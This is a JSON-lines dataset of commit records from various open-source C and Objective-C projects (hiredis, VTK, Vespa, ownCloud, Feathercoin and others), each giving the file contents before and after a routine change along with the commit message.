{"commit":"6f81fa70bca7bbf082253c5f2e6cef5b02cb4b7d","old_file":"x86_64\/unix\/2.2.4progamain.c","new_file":"x86_64\/unix\/2.2.4progamain.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n\ntypedef struct Poly Poly;\n\nstruct Poly {\n\tint32_t coef;\n\tint32_t abc;\n\tPoly *link;\n};\n\nint\tadd(Poly *q, Poly *p);\n\nPoly *avail;\n\nint\nmain(int argc, char **argv)\n{\n\tPoly *pool, *p;\n\n\tpool = calloc(500, sizeof(*pool));\n\tfor(p = pool; p < pool+499; p++)\n\t\tp->link = p+1;\n\tp->link = NULL;\n\tavail = pool;\n\n\texit(0);\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n\ntypedef struct Poly Poly;\n\nstruct Poly {\n\tint32_t coef;\n\tint32_t abc;\n\tPoly *link;\n};\n\nint\tadd(Poly *q, Poly *p);\n\nPoly *avail;\n\nPoly*\nmakepoly(void)\n{\n\tPoly *p;\n\n\tif(avail == NULL)\n\t\treturn NULL;\n\tp = avail;\n\tavail = avail->link;\n\tp->abc = -1;\n\tp->coef = 0;\n\tp->link = p;\n\treturn p;\n}\n\nint\naddterm(Poly *p, int32_t coef, unsigned char a, unsigned char b, unsigned char c)\n{\n\tPoly *q, *r;\n\tint32_t abc;\n\n\tabc = (a << 16) + (b << 8) + c;\n\n\tfor(r = p->link; abc < r->abc; r = p->link)\n\t\tp = r;\n\n\tif(abc == r->abc) {\n\t\tr->coef += coef;\n\t\treturn 0;\n\t}\n\n\tif(avail == NULL)\n\t\treturn -1;\n\tq = avail;\n\tavail = avail->link;\n\n\tq->coef = coef;\n\tq->abc = abc;\n\tq->link = r;\n\n\tp->link = q;\n\treturn 0;\n}\n\nint\nmain(int argc, char **argv)\n{\n\tPoly *pool, *p;\n\n\tpool = calloc(500, sizeof(*pool));\n\tfor(p = pool; p < pool+499; p++)\n\t\tp->link = p+1;\n\tp->link = NULL;\n\tavail = pool;\n\n\texit(0);\n}\n","subject":"Add infrastructure for constructing polynomials","message":"Add infrastructure for constructing polynomials\n","lang":"C","license":"isc","repos":"spewspew\/TAOCP,spewspews\/TAOCP"}
{"commit":"abcc32beb01e1beb2f274de94d6917d90aae0ffd","old_file":"ASFFeedly\/ASFRequestBuilder.h","new_file":"ASFFeedly\/ASFRequestBuilder.h","old_contents":"\/\/\n\/\/  ASFRequestBuilder.h\n\/\/  ASFFeedly\n\/\/\n\/\/  Created by Anton Simakov on 12\/12\/13.\n\/\/  Copyright (c) 2013 Anton Simakov. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nextern NSURL *ASFURLByAppendingParameters(NSURL *URL, NSDictionary *parameters);\nextern NSString *ASFQueryFromURL(NSURL *URL);\nextern NSString *ASFQueryFromParameters(NSDictionary *parameters);\nextern NSString *ASFURLEncodedString(NSString *string);\nextern NSString *ASFURLDecodedString(NSString *string);\nextern NSDictionary *ASFParametersFromQuery(NSString *query);\n\n@interface ASFRequestBuilder : NSObject\n\n+ (NSMutableURLRequest *)requestWithMethod:(NSString *)method\n                                 URLString:(NSString *)URLString\n                                parameters:(NSDictionary *)parameters\n                                     token:(NSString *)token\n                                     error:(NSError *__autoreleasing *)error;\n\n+ (NSMutableURLRequest *)requestWithURL:(NSURL *)URL\n                                 method:(NSString *)method\n                             parameters:(NSDictionary *)parameters\n                                  error:(NSError *__autoreleasing *)error;\n\n@end\n","new_contents":"\/\/\n\/\/  ASFRequestBuilder.h\n\/\/  ASFFeedly\n\/\/\n\/\/  Created by Anton Simakov on 12\/12\/13.\n\/\/  Copyright (c) 2013 Anton Simakov. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nextern NSURL *ASFURLByAppendingParameters(NSURL *URL, NSDictionary *parameters);\nextern NSString *ASFQueryFromURL(NSURL *URL);\nextern NSString *ASFQueryFromParameters(NSDictionary *parameters);\nextern NSString *ASFURLEncodedString(NSString *string);\nextern NSString *ASFURLDecodedString(NSString *string);\nextern NSDictionary *ASFParametersFromQuery(NSString *query);\n\n@interface ASFRequestBuilder : NSObject\n\n+ (NSMutableURLRequest *)requestWithMethod:(NSString *)method\n                                 URLString:(NSString *)URLString\n                                parameters:(NSDictionary *)parameters\n                                     token:(NSString *)token\n                                     error:(NSError *__autoreleasing *)error;\n\n@end\n","subject":"Remove private method from the public interface","message":"Remove private method from the public interface\n","lang":"C","license":"mit","repos":"anton-simakov\/ASFeedly"}
{"commit":"7e4e4f0f7ea96059d18b65ffa9fcc3d6f9a5bce3","old_file":"OCCommunicationLib\/OCCommunicationLib\/OCErrorMsg.h","new_file":"OCCommunicationLib\/OCCommunicationLib\/OCErrorMsg.h","old_contents":"\/\/\n\/\/  OCErrorMsg.h\n\/\/  Owncloud iOs Client\n\/\/\n\/\/ Copyright (c) 2014 ownCloud (http:\/\/www.owncloud.org\/)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\n#define kOCErrorServerUnauthorized 401\n#define kOCErrorServerForbidden 403\n#define kOCErrorServerPathNotFound 404\n#define kOCErrorProxyAuth 407\n#define kOCErrorServerTimeout 408\n\n","new_contents":"\/\/\n\/\/  OCErrorMsg.h\n\/\/  Owncloud iOs Client\n\/\/\n\/\/ Copyright (c) 2014 ownCloud (http:\/\/www.owncloud.org\/)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\n#define kOCErrorServerUnauthorized 401\n#define kOCErrorServerForbidden 403\n#define kOCErrorServerPathNotFound 404\n#define kOCErrorServerMethodNotPermitted 405c\n#define kOCErrorProxyAuth 407\n#define kOCErrorServerTimeout 408\n\n","subject":"Add error constant for not permmited methods in the server","message":"Add error constant for not permmited methods in the server\n","lang":"C","license":"mit","repos":"blueseaguo\/ios-library,pd81999\/ios-library,owncloud\/ios-library"}
{"commit":"a4d60fe0ef77abcc9d91cdca0c6f276e5a7fb627","old_file":"src\/qt\/bitcoinaddressvalidator.h","new_file":"src\/qt\/bitcoinaddressvalidator.h","old_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base48 entry widget validator.\n   Corrects near-miss characters and refuses characters that are no part of base48.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","new_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base58 entry widget validator.\n   Corrects near-miss characters and refuses characters that are not part of base58.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","subject":"Fix typo in a comment: it's base58, not base48.","message":"Fix typo in a comment: it's base58, not base48.\n","lang":"C","license":"mit","repos":"cinnamoncoin\/Feathercoin,nanocoins\/mycoin,nanocoins\/mycoin,cinnamoncoin\/Feathercoin,saydulk\/Feathercoin,cinnamoncoin\/Feathercoin,nanocoins\/mycoin,ghostlander\/Feathercoin,enlighter\/Feathercoin,saydulk\/Feathercoin,cqtenq\/Feathercoin,enlighter\/Feathercoin,cqtenq\/Feathercoin,cinnamoncoin\/Feathercoin,nanocoins\/mycoin,ghostlander\/Feathercoin,enlighter\/Feathercoin,ghostlander\/Feathercoin,nanocoins\/mycoin,enlighter\/Feathercoin,cinnamoncoin\/Feathercoin,ghostlander\/Feathercoin,ghostlander\/Feathercoin,enlighter\/Feathercoin,cqtenq\/Feathercoin,saydulk\/Feathercoin,saydulk\/Feathercoin,cqtenq\/Feathercoin,cqtenq\/Feathercoin,saydulk\/Feathercoin"}
{"commit":"c756758fa6f074ca17423326c40c6e298184d997","old_file":"eval\/src\/vespa\/eval\/tensor\/test\/test_utils.h","new_file":"eval\/src\/vespa\/eval\/tensor\/test\/test_utils.h","old_contents":"\/\/ Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/eval\/eval\/tensor_spec.h>\n#include <vespa\/eval\/tensor\/default_tensor_engine.h>\n#include <vespa\/vespalib\/testkit\/test_kit.h>\n\nnamespace vespalib::tensor::test {\n\ntemplate <typename T>\nstd::unique_ptr<T>\nmakeTensor(const vespalib::eval::TensorSpec &spec)\n{\n    auto value = DefaultTensorEngine::ref().from_spec(spec);\n    const T *tensor = dynamic_cast<const T *>(value->as_tensor());\n    ASSERT_TRUE(tensor);\n    value.release();\n    return std::unique_ptr<T>(const_cast<T *>(tensor));\n}\n\n}\n","new_contents":"\/\/ Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/eval\/eval\/tensor_spec.h>\n#include <vespa\/eval\/tensor\/default_tensor_engine.h>\n#include <vespa\/vespalib\/testkit\/test_kit.h>\n\nnamespace vespalib::tensor::test {\n\ntemplate <typename T>\nstd::unique_ptr<const T>\nmakeTensor(const vespalib::eval::TensorSpec &spec)\n{\n    auto value = DefaultTensorEngine::ref().from_spec(spec);\n    const T *tensor = dynamic_cast<const T *>(value->as_tensor());\n    ASSERT_TRUE(tensor);\n    value.release();\n    return std::unique_ptr<const T>(tensor);\n}\n\n}\n","subject":"Return unique pointer to const tensor instead.","message":"Return unique pointer to const tensor instead.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"fc819be192e956dcd856f6ca7032d766d1b4a6e3","old_file":"Utilities\/ParseOGLExt\/Tokenizer.h","new_file":"Utilities\/ParseOGLExt\/Tokenizer.h","old_contents":"\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    Tokenizer.h\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\n\/*\n * Copyright 2003 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\n#include <vtkstd\/string>\n\nclass Tokenizer\n{\npublic:\n  Tokenizer(const char *s, const char *delim = \" \\t\\n\");\n  Tokenizer(const vtkstd::string &s, const char *delim = \" \\t\\n\");\n\n  vtkstd::string GetNextToken();\n  vtkstd::string GetRemainingString() const;\n  bool HasMoreTokens() const;\n\n  void Reset();\n\nprivate:\n  vtkstd::string FullString;\n  vtkstd::string Delim;\n  vtkstd::string::size_type Position;\n};\n","new_contents":"\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    Tokenizer.h\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\n\/*\n * Copyright 2003 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\n#include <vtkstd\/string>\n\nclass Tokenizer\n{\npublic:\n  Tokenizer(const char *s, const char *delim = \" \\t\\n\\r\");\n  Tokenizer(const vtkstd::string &s, const char *delim = \" \\t\\n\\r\");\n\n  vtkstd::string GetNextToken();\n  vtkstd::string GetRemainingString() const;\n  bool HasMoreTokens() const;\n\n  void Reset();\n\nprivate:\n  vtkstd::string FullString;\n  vtkstd::string Delim;\n  vtkstd::string::size_type Position;\n};\n","subject":"Add carriage return to the list of default delimiters to correctly handle \"windows-style\" end of line on \"unix-style\" systems.","message":"BUG: Add carriage return to the list of default delimiters to correctly handle\n\"windows-style\" end of line on \"unix-style\" systems.\n","lang":"C","license":"bsd-3-clause","repos":"candy7393\/VTK,mspark93\/VTK,spthaolt\/VTK,biddisco\/VTK,demarle\/VTK,aashish24\/VTK-old,gram526\/VTK,spthaolt\/VTK,ashray\/VTK-EVM,naucoin\/VTKSlicerWidgets,spthaolt\/VTK,aashish24\/VTK-old,mspark93\/VTK,Wuteyan\/VTK,johnkit\/vtk-dev,sgh\/vtk,jmerkow\/VTK,keithroe\/vtkoptix,gram526\/VTK,johnkit\/vtk-dev,spthaolt\/VTK,ashray\/VTK-EVM,sankhesh\/VTK,gram526\/VTK,candy7393\/VTK,hendradarwin\/VTK,keithroe\/vtkoptix,sankhesh\/VTK,gram526\/VTK,daviddoria\/PointGraphsPhase1,hendradarwin\/VTK,mspark93\/VTK,msmolens\/VTK,demarle\/VTK,sumedhasingla\/VTK,Wuteyan\/VTK,aashish24\/VTK-old,hendradarwin\/VTK,naucoin\/VTKSlicerWidgets,hendradarwin\/VTK,jeffbaumes\/jeffbaumes-vtk,jmerkow\/VTK,spthaolt\/VTK,ashray\/VTK-EVM,gram526\/VTK,sgh\/vtk,jeffbaumes\/jeffbaumes-vtk,jmerkow\/VTK,johnkit\/vtk-dev,mspark93\/VTK,keithroe\/vtkoptix,collects\/VTK,arnaudgelas\/VTK,naucoin\/VTKSlicerWidgets,arnaudgelas\/VTK,Wuteyan\/VTK,sgh\/vtk,daviddoria\/PointGraphsPhase1,naucoin\/VTKSlicerWidgets,demarle\/VTK,demarle\/VTK,hendradarwin\/VTK,cjh1\/VTK,jmerkow\/VTK,biddisco\/VTK,mspark93\/VTK,collects\/VTK,aashish24\/VTK-old,biddisco\/VTK,daviddoria\/PointGraphsPhase1,biddisco\/VTK,spthaolt\/VTK,candy7393\/VTK,biddisco\/VTK,daviddoria\/PointGraphsPhase1,gram526\/VTK,collects\/VTK,ashray\/VTK-EVM,jmerkow\/VTK,Wuteyan\/VTK,berendkleinhaneveld\/VTK,biddisco\/VTK,johnkit\/vtk-dev,jmerkow\/VTK,cjh1\/VTK,sgh\/vtk,jmerkow\/VTK,Wuteyan\/VTK,msmolens\/VTK,collects\/VTK,demarle\/VTK,msmolens\/VTK,sgh\/vtk,cjh1\/VTK,msmolens\/VTK,sumedhasingla\/VTK,SimVascular\/VTK,sankhesh\/VTK,aashish24\/VTK-old,berendkleinhaneveld\/VTK,candy7393\/VTK,gram526\/VTK,berendkleinhaneveld\/VTK,sankhesh\/VTK,keithroe\/vtkoptix,sumedhasingla\/VTK,cjh1\/VTK,daviddoria\/PointGraphsPhase1,candy7393\/VTK,SimVascular\/VTK,ashray\/VTK-EVM,Wuteyan\/VTK,aashish24\/VTK-old,SimVascular\/VTK,candy7393\/VTK,daviddoria\/PointGraphsPhase1,msmolens\/VTK,sankhesh\/VTK,sumedhasingla\/VTK,sumedhasingla\/VTK,SimVascular\/VTK,jmerkow\/VTK,keithroe\/vtkoptix,berendkleinhaneveld\/VTK,jeffbaumes\/jeffbaumes-vtk,candy7393\/VTK,msmolens\/VTK,ashray\/VTK-EVM,keithroe\/vtkoptix,cjh1\/VTK,demarle\/VTK,demarle\/VTK,keithroe\/vtkoptix,sankhesh\/VTK,johnkit\/vtk-dev,ashray\/VTK-EVM,mspark93\/VTK,jeffbaumes\/jeffbaumes-vtk,biddisco\/VTK,johnkit\/vtk-dev,sumedhasingla\/VTK,demarle\/VTK,collects\/VTK,cjh1\/VTK,mspark93\/VTK,ashray\/VTK-EVM,arnaudgelas\/VTK,jeffbaumes\/jeffbaumes-vtk,SimVascular\/VTK,arnaudgelas\/VTK,msmolens\/VTK,spthaolt\/VTK,berendkleinhaneveld\/VTK,candy7393\/VTK,Wuteyan\/VTK,arnaudgelas\/VTK,gram526\/VTK,SimVascular\/VTK,berendkleinhaneveld\/VTK,hendradarwin\/VTK,arnaudgelas\/VTK,berendkleinhaneveld\/VTK,keithroe\/vtkoptix,SimVascular\/VTK,sankhesh\/VTK,hendradarwin\/VTK,SimVascular\/VTK,sgh\/vtk,naucoin\/VTKSlicerWidgets,mspark93\/VTK,sankhesh\/VTK,collects\/VTK,sumedhasingla\/VTK,sumedhasingla\/VTK,msmolens\/VTK,jeffbaumes\/jeffbaumes-vtk,naucoin\/VTKSlicerWidgets,johnkit\/vtk-dev"}
{"commit":"70cb60b7ed2a04f3054cffda01b961decbf0827a","old_file":"edXVideoLocker\/OEXRegistrationFieldValidator.h","new_file":"edXVideoLocker\/OEXRegistrationFieldValidator.h","old_contents":"\/\/\n\/\/  OEXRegistrationFieldValidation.h\n\/\/  edXVideoLocker\n\/\/\n\/\/  Created by Jotiram Bhagat on 03\/03\/15.\n\/\/  Copyright (c) 2015 edX. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"OEXRegistrationFormField.h\"\n@interface OEXRegistrationFieldValidator : NSObject\n+(NSString *)validateField:(OEXRegistrationFormField *)field withText:(NSString *)currentValue;\n@end\n","new_contents":"\/\/\n\/\/  OEXRegistrationFieldValidation.h\n\/\/  edXVideoLocker\n\/\/\n\/\/  Created by Jotiram Bhagat on 03\/03\/15.\n\/\/  Copyright (c) 2015 edX. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"OEXRegistrationFormField.h\"\n@interface OEXRegistrationFieldValidator : NSObject\n\/\/\/ Returns an error string, or nil if no error\n+(NSString *)validateField:(OEXRegistrationFormField *)field withText:(NSString *)currentValue;\n@end\n","subject":"Add comment for validation method","message":"Add comment for validation method\n","lang":"C","license":"apache-2.0","repos":"appsembler\/edx-app-ios,chinlam91\/edx-app-ios,chinlam91\/edx-app-ios,appsembler\/edx-app-ios,proversity-org\/edx-app-ios,yrchen\/edx-app-ios,Ben21hao\/edx-app-ios-enterprise-new,nagyistoce\/edx-app-ios,ehmadzubair\/edx-app-ios,edx\/edx-app-ios,knehez\/edx-app-ios,edx\/edx-app-ios,edx\/edx-app-ios,keyeMyria\/edx-app-ios,edx\/edx-app-ios,proversity-org\/edx-app-ios,ehmadzubair\/edx-app-ios,Ben21hao\/edx-app-ios-new,lovehhf\/edx-app-ios,edx\/edx-app-ios,yrchen\/edx-app-ios,proversity-org\/edx-app-ios,nagyistoce\/edx-app-ios,lovehhf\/edx-app-ios,edx\/edx-app-ios,adoosii\/edx-app-ios,ehmadzubair\/edx-app-ios,appsembler\/edx-app-ios,keyeMyria\/edx-app-ios,nagyistoce\/edx-app-ios,edx\/edx-app-ios,adoosii\/edx-app-ios,knehez\/edx-app-ios,proversity-org\/edx-app-ios,proversity-org\/edx-app-ios,Ben21hao\/edx-app-ios-enterprise-new,proversity-org\/edx-app-ios,adoosii\/edx-app-ios,yrchen\/edx-app-ios,nagyistoce\/edx-app-ios,Ben21hao\/edx-app-ios-enterprise-new,Ben21hao\/edx-app-ios-new,Ben21hao\/edx-app-ios-enterprise-new,knehez\/edx-app-ios,chinlam91\/edx-app-ios,Ben21hao\/edx-app-ios-new,appsembler\/edx-app-ios,lovehhf\/edx-app-ios,ehmadzubair\/edx-app-ios,knehez\/edx-app-ios,chinlam91\/edx-app-ios,keyeMyria\/edx-app-ios,Ben21hao\/edx-app-ios-enterprise-new,keyeMyria\/edx-app-ios,appsembler\/edx-app-ios,nagyistoce\/edx-app-ios,adoosii\/edx-app-ios,Ben21hao\/edx-app-ios-new,knehez\/edx-app-ios,Ben21hao\/edx-app-ios-new,lovehhf\/edx-app-ios"}
{"commit":"d695d87aaabe6bb8e2ca2ba8f1db45d4a62dc7c9","old_file":"FUState.h","new_file":"FUState.h","old_contents":"#ifndef FUSTATE_H\n#define FUSTATE_H\n#include <SFML\/Window\/Event.hpp>\n#include <SFML\/System\/Time.hpp>\n#include <SFML\/Graphics\/RenderWindow.hpp>\n#include <memory>\nclass FUStateManager;\n\nclass FUState\n{\npublic:\n    struct FUContext\n    {\n        FUContext(std::shared_ptr<sf::RenderWindow> window)\n            : renderWindow(window) {}\n        std::shared_ptr<sf::RenderWindow> renderWindow;\n    };\n\npublic:\n    FUState(FUContext context);\n    virtual ~FUState();\n    virtual void handleEvent(sf::Event &event);\n    virtual void update(sf::Time dt);\n    virtual void draw();\n    virtual void pause();\n    virtual void resume();\n\nprotected:\n    bool mIsPaused;\n};\n\n#endif \/\/ FUSTATE_H\n","new_contents":"#ifndef FUSTATE_H\n#define FUSTATE_H\n#include <SFML\/Window\/Event.hpp>\n#include <SFML\/System\/Time.hpp>\n#include <SFML\/Graphics\/RenderWindow.hpp>\n#include <memory>\n\nclass FUState\n{\npublic:\n    struct FUContext\n    {\n        FUContext(std::shared_ptr<sf::RenderWindow> window)\n            : renderWindow(window) {}\n        std::shared_ptr<sf::RenderWindow> renderWindow;\n    };\n\npublic:\n    FUState(FUContext context);\n    virtual ~FUState();\n    virtual void handleEvent(sf::Event &event);\n    virtual void update(sf::Time dt);\n    virtual void draw();\n    virtual void pause();\n    virtual void resume();\n\nprotected:\n    bool mIsPaused;\n};\n\n#endif \/\/ FUSTATE_H\n","subject":"Delete an unnecessary forward decleration","message":"Delete an unnecessary forward decleration\n","lang":"C","license":"unlicense","repos":"Furkanzmc\/StateManager"}
{"commit":"94ed2e430b1180c296f7dcb327296c64d6260daa","old_file":"fmacros.h","new_file":"fmacros.h","old_contents":"#ifndef __HIREDIS_FMACRO_H\n#define __HIREDIS_FMACRO_H\n\n#if defined(__linux__)\n#define _BSD_SOURCE\n#define _DEFAULT_SOURCE\n#endif\n\n#if defined(__CYGWIN__)\n#include <sys\/cdefs.h>\n#endif\n\n#if defined(__sun__)\n#define _POSIX_C_SOURCE 200112L\n#else\n#if !(defined(__APPLE__) && defined(__MACH__)) && !(defined(__FreeBSD__))\n#define _XOPEN_SOURCE 600\n#endif\n#endif\n\n#if defined(__APPLE__) && defined(__MACH__)\n#define _OSX\n#endif\n\n#endif\n","new_contents":"#ifndef __HIREDIS_FMACRO_H\n#define __HIREDIS_FMACRO_H\n\n#if defined(__linux__)\n#define _BSD_SOURCE\n#define _DEFAULT_SOURCE\n#endif\n\n#if defined(__CYGWIN__)\n#include <sys\/cdefs.h>\n#endif\n\n#if defined(__linux__) || defined(__OpenBSD__) || defined(__NetBSD__)\n#define _XOPEN_SOURCE 600\n#elif defined(__APPLE__) && defined(__MACH__)\n#define _XOPEN_SOURCE\n#elif defined(__FreeBSD__)\n\/\/ intentionally left blank, don't define _XOPEN_SOURCE\n#else\n#define _XOPEN_SOURCE\n#endif\n\n#if defined(__sun__)\n#define _POSIX_C_SOURCE 200112L\n#endif\n\n#if defined(__APPLE__) && defined(__MACH__)\n#define _OSX\n#endif\n\n#endif\n","subject":"Make XOPEN_SOURCE definition explicit per architecture","message":"Make XOPEN_SOURCE definition explicit per architecture\n\nFixes #441\n","lang":"C","license":"bsd-3-clause","repos":"charsyam\/hiredis,redis\/hiredis,thomaslee\/hiredis,jinguoli\/hiredis,jinguoli\/hiredis,jinguoli\/hiredis,redis\/hiredis,thomaslee\/hiredis,redis\/hiredis,charsyam\/hiredis"}
{"commit":"33ce733a70bf89570454a161a64adb56da57a0f3","old_file":"Settings\/Tabs\/SettingsTab.h","new_file":"Settings\/Tabs\/SettingsTab.h","old_contents":"#pragma once\n\n#include \"..\/Controls\/Controls.h\"\n#include \"..\/Controls\/TabPage.h\"\n\n\/\/\/ <summary>\n\/\/\/ Abstract class that encapsulates functionality for dealing with\n\/\/\/ property sheet pages (tabs).\n\/\/\/ <\/summary>\nclass SettingsTab : public TabPage {\npublic:\n    SettingsTab(HINSTANCE hInstance, LPCWSTR tabTemplate, LPCWSTR title = L\"\");\n    ~SettingsTab();\n\n    \/\/\/ <summary>Processes messages sent to the tab page.<\/summary>\n    virtual INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg,\n        WPARAM wParam, LPARAM lParam);\n\n    \/\/\/ <summary>Persists changes made on the tab page<\/summary>\n    virtual void SaveSettings() = 0;\n\nprotected:\n    \/\/\/ <summary>\n    \/\/\/ Performs intitialization for the tab page, similar to a constructor.\n    \/\/\/ Since tab page windows are created on demand, this method could be\n    \/\/\/ called much later than the constructor for the tab.\n    \/\/\/ <\/summary>\n    virtual void Initialize() = 0;\n\n    \/\/\/ <summary>Applies the current settings state to the tab page.<\/summary>\n    virtual void LoadSettings() = 0;\n};","new_contents":"#pragma once\n\n#include \"..\/Controls\/Controls.h\"\n#include \"..\/Controls\/TabPage.h\"\n#include \"..\/resource.h\"\n\n\/\/\/ <summary>\n\/\/\/ Abstract class that encapsulates functionality for dealing with\n\/\/\/ property sheet pages (tabs).\n\/\/\/ <\/summary>\nclass SettingsTab : public TabPage {\npublic:\n    SettingsTab(HINSTANCE hInstance, LPCWSTR tabTemplate, LPCWSTR title = L\"\");\n    ~SettingsTab();\n\n    \/\/\/ <summary>Processes messages sent to the tab page.<\/summary>\n    virtual INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg,\n        WPARAM wParam, LPARAM lParam);\n\n    \/\/\/ <summary>Persists changes made on the tab page<\/summary>\n    virtual void SaveSettings() = 0;\n\nprotected:\n    \/\/\/ <summary>\n    \/\/\/ Performs intitialization for the tab page, similar to a constructor.\n    \/\/\/ Since tab page windows are created on demand, this method could be\n    \/\/\/ called much later than the constructor for the tab.\n    \/\/\/ <\/summary>\n    virtual void Initialize() = 0;\n\n    \/\/\/ <summary>Applies the current settings state to the tab page.<\/summary>\n    virtual void LoadSettings() = 0;\n};","subject":"Include dialog resources to make things easier","message":"Include dialog resources to make things easier\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"1faf4681396ca217899ace40a2b60b04a2a8e3c3","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef THM_CONFIG_HG\n#define THM_CONFIG_HG\n\n\/\/ Vertex ID type\n\/\/ # of vertices < MAX(thm_Vid)\ntypedef unsigned long thm_Vid;\n\n\/\/ Arc reference type\n\/\/ # of arcs in any digraph <= MAX(thm_Arcref)\ntypedef unsigned long thm_Arcref;\n\n\/\/ Block label type\n\/\/ # of blocks < MAX(thm_Blklab)\ntypedef unsigned long thm_Blklab;\n\n#endif\n","new_contents":"#ifndef THM_CONFIG_HG\n#define THM_CONFIG_HG\n\n\/\/ Block label type (must be unsigned)\n\/\/ # of blocks <= MAX(thm_Blklab)\ntypedef uint32_t thm_Blklab;\n\n#endif\n","subject":"Move typedef to digraph header","message":"Move typedef to digraph header\n","lang":"C","license":"lgpl-2.1","repos":"fsavje\/scclust,fsavje\/scclust,fsavje\/scclust"}
